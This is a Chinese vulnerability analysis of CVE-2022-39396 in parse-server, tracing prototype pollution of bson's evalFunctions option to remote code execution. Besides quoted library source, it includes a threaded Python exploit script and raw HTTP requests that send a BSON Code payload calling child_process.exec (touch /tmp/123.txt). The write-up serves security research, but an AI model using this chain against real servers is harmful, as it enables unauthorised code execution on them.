作者:billion@知道创宇404实验室
日期:2023年3月31日
1、BSON潜在问题
node-mongodb-drive <= 3.7.3
版本时,使用1.x版本的bson依赖处理数据。} else if (value['_bsontype'] === 'Code') {
index = serializeCode(
buffer,
key,
value,
index,
checkKeys,
depth,
serializeFunctions,
ignoreUndefined
);
_bsontype
键为Code
时,就会被判断为Code类型,后面就会调用serializeCode函数进行序列化。var isolateEval = function(functionString) {
// Contains the value we are going to set
var value = null;
// Eval the function
eval('value = ' + functionString);
return value;
};
var deserializeObject = function(buffer, index, options, isArray) {
var evalFunctions = options['evalFunctions'] == null ? false : options['evalFunctions'];
var cacheFunctions = options['cacheFunctions'] == null ? false : options['cacheFunctions'];
var cacheFunctionsCrc32 =
options['cacheFunctionsCrc32'] == null ? false : options['cacheFunctionsCrc32'];
evalFunctions
参数默认情况下是未定义的,所以可以用原型污染来利用,该特性可以一直利用到bson <= 4.1.02、Code上传点
fs.files
表,把文件内容放到fs.chunks
表fileViaJSON=true
时,才会把fileData拷贝过去if (fileViaJSON) {
req.fileData = req.body.fileData; // We need to repopulate req.body with a buffer
var base64 = req.body.base64;
req.body = Buffer.from(base64, 'base64');
}
var fileViaJSON = false;
if (!info.appId || !_cache.default.get(info.appId)) {
// See if we can find the app id on the body.
if (req.body instanceof Buffer) {
try {
req.body = JSON.parse(req.body);
} catch (e) {
return invalidRequest(req, res);
}
fileViaJSON = true;
}
function handleParseHeaders(req, res, next) {
var mount = getMountForRequest(req);
var info = {
appId: req.get('X-Parse-Application-Id'),
if (req.body && req.body._ApplicationId && _cache.default.get(req.body._ApplicationId) && (!info.masterKey || _cache.default.get(req.body._ApplicationId).masterKey === info.masterKey)) {
info.appId = req.body._ApplicationId;
info.javascriptKey = req.body._JavaScriptKey || '';
} else {
return invalidRequest(req, res);
}
_ApplicationId
是正确的appId,否则就退出了X-Parse-Application-Id
是一个不存在的appid,然后修改body中的_ApplicationId
是正确的appidX-Parse-Application-Id
请求头3、原型污染
for (var restKey in restUpdate) {
if (restUpdate[restKey] && restUpdate[restKey].__type === 'Relation') {
continue;
}
var out = transformKeyValueForUpdate(className, restKey, restUpdate[restKey], parseFormatSchema); // If the output value is an object with any $ keys, it's an
// operator that needs to be lifted onto the top level update
// object.
if (typeof out.value === 'object' && out.value !== null && out.value.__op) {
mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};
mongoUpdate[out.value.__op][out.key] = out.value.arg;
} else {
mongoUpdate['$set'] = mongoUpdate['$set'] || {};
mongoUpdate['$set'][out.key] = out.value;
}
}
out.value.__op
out.key
out.value.arg
,那就可以污染原型的evalFunctions
了transformKeyValueForUpdate()
函数const transformKeyValueForUpdate = (className, restKey, restValue, parseFormatSchema) => {
// Check if the schema is known since it's a built-in field.
var key = restKey;
var timeField = false;
switch (key) {
case 'objectId':
case '_id':
if (['_GlobalConfig', '_GraphQLConfig'].includes(className)) {
return {
key: key,
value: parseInt(restValue)
};
}
key = '_id';
break;
case 'createdAt':
case '_created_at':
key = '_created_at';
timeField = true;
break;
case 'updatedAt':
case '_updated_at':
key = '_updated_at';
timeField = true;
break;
case 'sessionToken':
case '_session_token':
key = '_session_token';
break;
case 'expiresAt':
case '_expiresAt':
key = 'expiresAt';
timeField = true;
break;
........
case '_rperm':
case '_wperm':
return {
key: key,
value: restValue
};
......
}
{key, value}
的形式,如果key是case中的任一个,那必然不可能返回__proto__
,继续看后面的部分if (parseFormatSchema.fields[key] && parseFormatSchema.fields[key].type === 'Pointer' || !parseFormatSchema.fields[key] && restValue && restValue.__type == 'Pointer') {
key = '_p_' + key;
} // Handle atomic values
var value = transformTopLevelAtom(restValue);
if (value !== CannotTransform) {
if (timeField && typeof value === 'string') {
value = new Date(value);
}
if (restKey.indexOf('.') > 0) {
return {
key,
value: restValue
};
}
return {//这里
key,
value
};
} // Handle arrays
restKey
应该是evalFunctions
,所以不会进入if (restKey.indexOf('.') > 0) {
这个分支,可以通过第二个return
返回key和valuetransformTopLevelAtom()
函数function transformTopLevelAtom(atom, field) {
switch (typeof atom) {
.......
case 'object':
if (atom instanceof Date) {
// Technically dates are not rest format, but, it seems pretty
// clear what they should be transformed to, so let's just do it.
return atom;
}
if (atom === null) {
return atom;
} // TODO: check validity harder for the __type-defined types
if (atom.__type == 'Pointer') {
return `${atom.className}$${atom.objectId}`;
}
if (DateCoder.isValidJSON(atom)) {
return DateCoder.JSONToDatabase(atom);
}
if (BytesCoder.isValidJSON(atom)) {
return BytesCoder.JSONToDatabase(atom);
}
if (GeoPointCoder.isValidJSON(atom)) {
return GeoPointCoder.JSONToDatabase(atom);
}
if (PolygonCoder.isValidJSON(atom)) {
return PolygonCoder.JSONToDatabase(atom);
}
if (FileCoder.isValidJSON(atom)) {
return FileCoder.JSONToDatabase(atom);
}
return CannotTransform;
default:
// I don't think typeof can ever let us get here
throw new Parse.Error(Parse.Error.INTERNAL_SERVER_ERROR, `really did not expect value: ${atom}`);
}
}
if
中返回,就可以让value!==CannotTransform
FileCoder
var FileCoder = {
databaseToJSON(object) {
return {
__type: 'File',
name: object
};
},
isValidDatabaseObject(object) {
return typeof object === 'string';
},
JSONToDatabase(json) {
return json.name;
},
isValidJSON(value) {
return typeof value === 'object' && value !== null && value.__type === 'File';
}
};
restUpdate
的形式应该是下面这样{
"evalFunctions":{
"__type":"File",
"name":{
"__op": "__proto__",
"arg": true
}
}
}
node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoTransform.js transformUpdate()
node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoStorageAdapter.js updateObjectsByQuery()
node_modules/parse-server/lib/Controllers/DatabaseController.js update()
node_modules/parse-server/lib/RestWrite.js runBeforeSaveTrigger()
node_modules/parse-server/lib/RestWrite.js execute()
node_modules/parse-server/lib/RestWrite.js new RestWrite()
node_modules/parse-server/lib/rest.js update()
node_modules/parse-server/lib/Routers/ClassesRouter.js handleUpdate()
restUpdate
,debug看看流程对不对__type
和name
来的def triger_unserialize(item):
if item !=400:
requests.get(
url = file_path
)
r3 = requests.put(
url = url + f"/parse/classes/{path}/{objectId}",
data = json.dumps({
"evalFunctions":{
"__type":"File",
"name":{
"__op":"__proto__",
"arg":"1"
}
},
"cheatMode":"false"
}),
headers = {
"X-Parse-Application-Id":f"{appid}",
'Content-Type': 'application/json'
}
)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
futures = [executor.submit(triger_unserialize, item) for item in range(0,800)]
4、修复绕过
POST /parse/hooks/triggers HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Type: application/json
Content-Length: 254
Connection: close
{
"_ApplicationId":"123",
"className":"cname",
"triggerName":"tname",
"url":{
"_bsontype":"Code",
"code":"delete ({}).__proto__.evalFunctions; require(`child_process`).exec('touch /tmp/123.txt')"
},
"functionName":"f34",
"_MasterKey":"123456"
}
GET /parse/hooks/functions/f34 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Length: 52
Content-Type: application/json
Connection: close
{
"_ApplicationId":"123",
"_MasterKey":"123456"
}
作者名片
原文始发于微信公众号(Seebug漏洞平台):原创Paper | parse-server 从原型污染到 RCE 漏洞(CVE-2022-39396) 分析